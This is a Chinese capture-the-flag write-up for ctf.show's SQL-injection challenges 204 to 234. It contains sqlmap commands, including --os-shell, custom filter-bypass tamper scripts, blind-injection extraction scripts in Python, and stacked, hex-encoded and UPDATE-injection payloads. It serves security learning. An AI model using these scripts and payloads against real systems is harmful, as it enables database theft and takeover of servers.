python2 sqlmap.py -u "http://ca0824d5-f358-4494-b5ee-0f0ad93fdf39.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --dbms=mysql -D ctfshow_web -T ctfshow_user --dump --batch
web204~–cookie参数
使用–cookie 提交cookie数据
python2 sqlmap.py -u "http://c1338d3e-26fa-49c9-b2aa-583f5fe1418f.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_user -C pass --dump --headers="Content-Type: text/plain" --cookie="PHPSESSID=beu7iuepljde5gf9frge7542of;" --batch
web205~api鉴权
api调用需要鉴权
–safe-url 设置在测试目标地址前访问的安全链接
–safe-freq 设置两次注入测试前访问安全链接的次数
不访问的话
{"code":0,"msg":"api鉴权失败","count":1,"data":[[]]}
python2 sqlmap.py -u "http://ae19532d-121c-4048-9902-3f93f0028c30.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_flax -C flagx --dump --headers="Content-Type: text/plain" --safe-url="http://ae19532d-121c-4048-9902-3f93f0028c30.chall.ctf.show/api/getToken.php" --safe-freq=1 --batch
web206
sql需要闭合
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
这里 sql 语句闭合方式变化了,
--prefix=PREFIX
–> 攻击载荷的前缀
--suffix=SUFFIX
–> 攻击载荷的后缀
其实不使用,sqlmap也可以判断出来。
python2 sqlmap.py -u "http://a3eb3756-01fe-4ca1-a236-21d47920bd25.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql -D "ctfshow_web" -T "ctfshow_flaxc" -C "flagv" --dump --headers="Content-Type: text/plain" --safe-url=http://a3eb3756-01fe-4ca1-a236-21d47920bd25.chall.ctf.show/api/getToken.php --safe-freq=1 --batch
web207~tamper脚本过空格
–tamper 的初体验
function waf($str){
return preg_match(‘/ /’, $str);
}
直接使用sqlmap自带 tamper 脚本,绕过空格过滤
python2 sqlmap.py -u "http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/getToken.php" --safe-freq=1 --dbs --tamper=space2comment --batch
python2 sqlmap.py -u "http://2fe69805-4831-45bb-b61c-a146cd3e448b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://2fe69805-4831-45bb-b61c-a146cd3e448b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca --dump --tamper=space2comment --batch
web208
–tamper 的2体验
查询语句
//拼接sql语句查找指定ID用户
$sql = “select id,username,pass from ctfshow_user where id = (‘”.$id.”‘) limit 0,1;”;
返回逻辑
//对传入的参数进行了过滤
// $id = str_replace(‘select’, ”, $id);
function waf($str){
return preg_match(‘/ /’, $str);
}
过滤大小写空格,所以直接上题tamper就可以。
python2 sqlmap.py -u "http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --dump --tamper=space2comment --batch
web209~tamper绕过 =
查询语句
//拼接sql语句查找指定ID用户
$sql = “select id,username,pass from ctfshow_user where id = ‘”.$id.”‘ limit 0,1;”;
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match(‘/ |*|=/’, $str);
}
过滤空格,* ,= .
还是自己学写 tamper 脚本吧,
#!/usr/bin/env python
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload
def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == "*":
retVal += chr(0x31)
continue
elif payload[i] == "=":
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
return retVal
python2 sqlmap.py -u http://d93f9b84-d223-4f3d-8786-2b92e5b2535f.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://d93f9b84-d223-4f3d-8786-2b92e5b2535f.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav --dump --tamper=web209 --batch
web210~字符串编码
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
先解码再字符反转再解码再字符反转.
python2 sqlmap.py -u http://b34c15e0-d318-4afa-a8e1-9e4a306571c2.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://b34c15e0-d318-4afa-a8e1-9e4a306571c2.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --dump --tamper=web210 --batch
#!/usr/bin/env python
import base64
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = base64.b64encode(payload[::-1].encode("utf-8"))
payload = base64.b64encode(payload[::-1].encode("utf-8"))
return payload
web211~空格加编码
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match(‘/ /’, $str);
}
那就先加个空格绕过,
python2 sqlmap.py -u http://c07a61ff-1abf-4836-aed1-c37bad8a566b.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://c07a61ff-1abf-4836-aed1-c37bad8a566b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia --dump --tamper=web211 --batch
#!/usr/bin/env python
import base64
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""
if payload:
payload = payload.replace(" ","/**/")
payload = base64.b64encode(payload[::-1].encode("utf-8"))
payload = base64.b64encode(payload[::-1].encode("utf-8"))
return payload
web212
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match(‘/ |*/’, $str);
}
python2 sqlmap.py -u http://fa1a6ea9-f2ee-4da5-9e8a-cbbb0e31d125.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://fa1a6ea9-f2ee-4da5-9e8a-cbbb0e31d125.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis --dump --tamper=web212 --batch
#!/usr/bin/env python
import base64
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == "*":
retVal += chr(0x31)
continue
elif payload[i] == "=":
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
return retVal
def tamper(payload, **kwargs):
if payload:
payload = space2comment(payload)
payload = payload.replace(" ","/**/")
payload = base64.b64encode(payload[::-1].encode("utf-8"))
payload = base64.b64encode(payload[::-1].encode("utf-8"))
return payload
web213~–os-shell
练习使用–os-shell 一键getshell
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match(‘/ |*/’, $str);
}
https://zhuanlan.zhihu.com/p/58007573
python2 sqlmap.py -u http://4588589d-2509-4ce9-ae0a-7850a7a75f0d.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://4588589d-2509-4ce9-ae0a-7850a7a75f0d.chall.ctf.show/api/getToken.php" --safe-freq=1 --os-shell --tamper=web212 --batch
直接getshell
六、时间盲注
web214~无过滤时间盲注
payload:
post:
debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(2),0)
写个脚本:
自增法:
# @Author: yanmie
import requests
url = "http://404d8d96-01d3-4d8e-a14e-aaf5c80a5d67.chall.ctf.show/api/"
payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={},sleep(2),0)"
i = 0
table = ""
while True:
i += 1
for j in range(127):
data = {
"debug" : 1,
"ip" : payload.format(i,j)
}
try:
response = requests.post(url=url,data=data,timeout=1)
except Exception as e:
break;
if j == 126:
break
table += chr(j)
print(table.lower()) # 得到 ctfshow_flagx,ctfthow_info
有点慢,在写个二分法:
# @Author: yanmie
import requests
url = "http://1a8ae547-99fa-47fe-b1a2-7a163a579dcf.chall.ctf.show/api/"
# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(2),0)"
# 得到 ctfshow_flagx,ctfthow_info
# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))>{},sleep(2),0)"
# 得到 id,flaga,info
payload = "if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(3),0)"
# 得到 flag
i = 0
result = ""
while True:
i += 1
head = 0
tail =127
while head<tail:
mid = (head+tail)//2
data = {
"debug" : 1,
"ip" : payload.format(i,mid)
}
try:
response = requests.post(url=url,data=data,timeout=2)
# print(head,tail,mid)
tail = mid
except Exception as e:
head = mid+1
if head == 0:
break
result += chr(head)
print(result.lower())
web215~单引号闭合
//用了单引号
payload:
POST:
debug=1&ip=1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(5),0) and '1'='1
脚本:
# @Author: yanmie
import requests
url = "http://b8e578e0-8b1d-4e02-a389-41a12277e5e8.chall.ctf.show/api/"
# payload = "1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),0) and '1'='1"
# 得到 ctfshow_flagxc,ctfshow_info
payload = "1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))>{},sleep(5),0) and '1'='1"
# 得到 id,flagaa,info
payload = "1' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1))>{},sleep(5),0) and '1'='1"
# 得到 flag
i = 0
result = ""
while True:
i += 1
head = 0
tail =127
while head<tail:
mid = (head+tail)//2
data = {
"debug" : 1,
"ip" : payload.format(i,mid)
}
try:
response = requests.post(url=url,data=data,timeout=2)
# print(head,tail,mid)
tail = mid
except Exception as e:
head = mid+1
if head == 0:
break
result += chr(head)
print(result.lower())
web216~括号闭合
where id = from_base64($id);
payload:
debug=1&ip=1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(5),0)and (1=1
# @Author: yanmie
import requests
url = "http://5abfff46-12f9-4393-b2cc-6e1e1380b39f.chall.ctf.show/api/"
# payload = "1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),0)and (1=1"
# 得到 ctfshow_flagxcc,ctfshow_info
# payload = "1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{},1))>{},sleep(5),0)and (1=1"
# 得到 id,flagaac,info
payload = "1) or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1))>{},sleep(5),0) and (1=1"
# 得到 flag
i = 0
result = ""
while True:
i += 1
head = 0
tail =127
while head<tail:
mid = (head+tail)//2
data = {
"debug" : 1,
"ip" : payload.format(i,mid)
}
try:
response = requests.post(url=url,data=data,timeout=2)
# print(head,tail,mid)
tail = mid
except Exception as e:
head = mid+1
if head == 0:
break
result += chr(head)
print(result.lower())
web217~benchmark绕过sleep
查询语句
where id = ($id);
返回逻辑
//屏蔽危险分子
function waf($str){
return preg_match(‘/sleep/i’,$str);
}
过滤了 sleep 。
但是还有其他函数, mysql 时间盲注五种延时方法
BENCHMARK(count,expr)
BENCHMARK会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率。
那我们就让他计算很多次,时间不就长了吗?比如BENCHMARK(21111111+1)
,大约3秒多(口数)
payload:
debug=1&ip=1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,BENCHMARK(21111111,1+1),0)and (1=1
# @Author: yanmie
import requests
url = "http://146ccae4-2a48-4709-94be-49e0657a5056.chall.ctf.show/api/"
# payload = "1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1"
# 得到 ctfshow_flagxccb,ctfshow_info
# payload = "1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1"
# 得到 id,flagaabc,info
payload = "1) or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1"
# 得到 flag
i = 0
result = ""
while True:
i += 1
head = 0
tail =127
while head<tail:
mid = (head+tail)//2
data = {
"debug" : 1,
"ip" : payload.format(i,mid)
}
try:
response = requests.post(url=url,data=data,timeout=2)
# print(head,tail,mid)
tail = mid
except Exception as e:
head = mid+1
if head == 0:
break
result += chr(head)
print(result.lower())
web218~rlike正则匹配
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}
把benchmark
也过滤了。
不过不慌还可以通过RLIKE
。
rpad(str,len,padstr)
返回字符串str,右填充以字符串str中垫到len字符长度。如果str为大于len,返回值被缩短至len个字符。repeat(str,count)
返回由字符串str重复count次的字符串。 如果计数小于1,则返回一个空字符串。返回NULL如果str或count为NULL。like 的内容不是正则,而是通配符
rlike 的内容可以是正则
如select rpad('a',2,'a') RLIKE concat(repeat('(a.*)+',2222222),'b');
耗时 4 秒左右
但是从web有点奇怪,就只返回固定的一小段时间。差不多 1 秒。
换种方式,迪卡尔积
payload:
debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)
web219~笛卡尔积
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}
过滤了rlike
,,可以笛卡尔积。
debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)
web220
function waf($str){
return preg_match(‘/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i’,$str);
}
使用 ord 代替 ascii
使用 locate 代替 substr
使用笛卡尔积
六、其他注入
web221~limit注入
查询语句
//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
返回逻辑
//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢
在LIMIT
后面可以跟两个函数,PROCEDURE
和INTO
,into需要写权限,一般不常见,但是PROCEDURE
在msyql5.7以后已经弃用,8.0直接删除了。。。
payload:
http://1c1edfaa-f567-4fba-a04f-285c886e937d.chall.ctf.show/api/?page=2&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
web222~group by注入
查询语句
//分页查询
$sql = select * from ctfshow_user group by $username;返回逻辑
//TODO:很安全,不需要过滤
可使用盲注
payload
http://84f3c1f3-59e9-47e4-9855-c2af4f32432d.chall.ctf.show/api/?u=if((1=2),username,0)&page=2&limit=10
脚本:
# Author: yanmie
import requests
url = "http://84f3c1f3-59e9-47e4-9855-c2af4f32432d.chall.ctf.show/api/"
# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},username,0)"
# 得到 ctfshow_flaga,ctfshow_user
# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{},1))>{},username,0)"
# 得到 id,flagaabc,info
payload = "if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{},1))>{},username,0)"
# 得到flag
result = ""
i = 0
while True:
i += 1
head = 0
tail = 127
while head<tail:
mid = (head+tail)//2
param = {
"u" : payload.format(i,mid),
}
response = requests.get(url=url,params=param)
if "passwordAUTO" in response.text:
head = mid+1
else:
tail = mid
if head==0:
break;
result += chr(head)
print(result)
web223~group过滤 数字
//用户名不能是数字
与上题一样,不过是过滤了数字.那就利用 true 为 1
payload:
http://b3adbf2f-6e3b-4d2c-965f-b95fe91cfeb7.chall.ctf.show/api/?u=if((true=true),username,'a')
脚本:
# Author: yanmie
import requests
url = "http://b3adbf2f-6e3b-4d2c-965f-b95fe91cfeb7.chall.ctf.show/api/"
# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},{}))>{},username,'a')"
# 得到 ctfshow_flagas,ctfshow_user
# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{},{}))>{},username,'a')"
# 得到 id,flagasabc,info
payload = "if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{},{}))>{},username,'a')"
# 得到 flag
result = ""
i = 0
def createNum(num):
if num==1:
return True
else:
res = "True"
for i in range(num-1):
res += "+True"
return res
while True:
i += 1
head = 0
tail = 127
while head<tail:
mid = (head+tail)//2
params = {
"u" : payload.format(createNum(i),createNum(1),createNum(mid)),
}
response = requests.get(url=url,params=params)
if "passwordAUTO" in response.text:
head = mid+1
else:
tail = mid
if head == 0 :
print("[+]the result is : ",result)
break
result += chr(head)
print(result)
web224~exif注入
可以看这里
七、堆叠注入
web225~预编译,handler
查询语句
//分页查询
$sql = “select id,username,pass from ctfshow_user where username = ‘{$username}’;”;返回逻辑
//师傅说过滤的越多越好
if(preg_match(‘/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i’,$username)){
die(json_encode($ret));
}
过滤了很多,但没过滤 show ,可以配合 hander 读数据
https://blog.51cto.com/15023289/2559944
payload
?username=1';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
还可以预编译
预编译也能用变量
SET @tn = 'hahaha';
//存储表名SET @sql = concat('select * from ', @tn);
//存储SQL语句PREPARE name from @sql;
//预定义SQL语句EXECUTE name;
//执行预定义SQL语句(DEALLOCATE || DROP) PREPARE sqla;
//删除预定义SQL语句
username=1';show tables;PREPARE name from concat('sel','ect * from ctfshow_flagasa');EXECUTE name;
web226~hex
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}
过滤了show
和 括号,那就不能使用 concat 连接了。
使用十六进制编码
paylaod:
username=1';PREPARE name from 0x73686F77207461626C6573;EXECUTE name;
username=1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE name;
web227~存储过程
存储过程。
参考:
https://www.runoob.com/w3cnote/mysql-stored-procedure.html
https://blog.csdn.net/qq_41573234/article/details/80411079
#
[http://da1dd134-9aac-46e1-942d-17dff2dd1c33.chall.ctf.show/api/?username=1%27;PREPARE](http://da1dd134-9aac-46e1-942d-17dff2dd1c33.chall.ctf.show/api/?username=1%27;PREPARE) name from 0x2053454C**4543542020202A20202046524F4D202020696E666F726D6174696F6E5F736368656D612E526F7574696E657320776865726520524F5554494E455F4E414D45203D27676574466C616727;EXECUTE name;
web228
还是可以转十六进制。
过滤内容:
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","char":"union"},{"id":"2","char":"file"},{"id":"3","char":"into"},{"id":"4","char":"handler"},{"id":"5","char":"db"},{"id":"6","char":"select"},{"id":"7","char":"update"},{"id":"8","char":"dump"},{"id":"9","char":"delete"},{"id":"10","char":"create"},{"id":"11","char":"drop"},{"id":"12","char":"show"},{"id":"13","char":"describe"},{"id":"14","char":"set"},{"id":"15","char":"alter"}]}
payload:
?username=1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161;EXECUTE name;
web229
十六进制。
payload:
?username=1';PREPARE name from 0x73656C656374202A2066726F6D20666C6167;EXECUTE name;
web230
还是十六进制预编译
?username=1';PREPARE name from 0x73656C656374202A2066726F6D20666C61676161626278;EXECUTE name;
八、update注入
web231~update注入
查询语句
//分页查询
$sql = “update ctfshow_user set pass = ‘{$password}’ where username = ‘{$username}’;”;
payload:
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())where 1#&username=1
# 得到 banlist,ctfshow_user,flaga
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')where 1#&username=1
# 得到 id,flagas,info
password=1',username=(select group_concat(flagas) from flaga)where 1#&username=1
# 得到flag
web232~单引号括号闭合
查询语句
//分页查询
$sql = “update ctfshow_user set pass = md5(‘{$password}’) where username = ‘{$username}’;”;
和上一题一样的,
只不过闭合方式发生了变化。
payload:
password=1'),username=(select group_concat(flagass) from flagaa)where 1#&username=1
web233~时间盲注
时间盲注,
payload:
password=1&username=ctfshow' and sleep(5) and '1'='1
脚本:
# @Author: yanmie
import requests
url = "http://97240940-d8ac-45e4-92f4-4d4baeb81d18.chall.ctf.show/api/"
# paylaod = "ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(0.5),1) and '1'='1"
# 得到 banlist,ctfshow_user,flag233333
# paylaod = "ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{},1))>{},sleep(0.5),1) and '1'='1"
# 得到 id,flagass233,info
paylaod = "ctfshow' and if(ascii(substr((select group_concat(flagass233) from flag233333),{},1))>{},sleep(0.5),1) and '1'='1"
result = ""
i = 0
while True:
i += 1
head = 0
tail = 127
while head<tail:
mid = (head+tail)//2
data = {
"password" : 1,
"username" : paylaod.format(i,mid),
}
try:
response = requests.post(url=url,data=data,timeout=0.5)
tail = mid
except Exception as e:
head = mid+1
if head == 0:
print("[+]the result is : ",result)
break
result += chr(head)
print(result)
web234~单引号逃逸
过滤了单引号。可以利用\
实现单引号逃逸。
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
此时查询语句:
$sql = "update ctfshow_user set pass = '\' where username = '\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#';";
password就会变为' where username =
。
payload:
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666C6167323361)#
password=\&username=,username=(select flagass23s3 from flag23a)#
来源:freebuf.com 2021-02-09 10:20:09 by: yanmie
请登录后发表评论
注册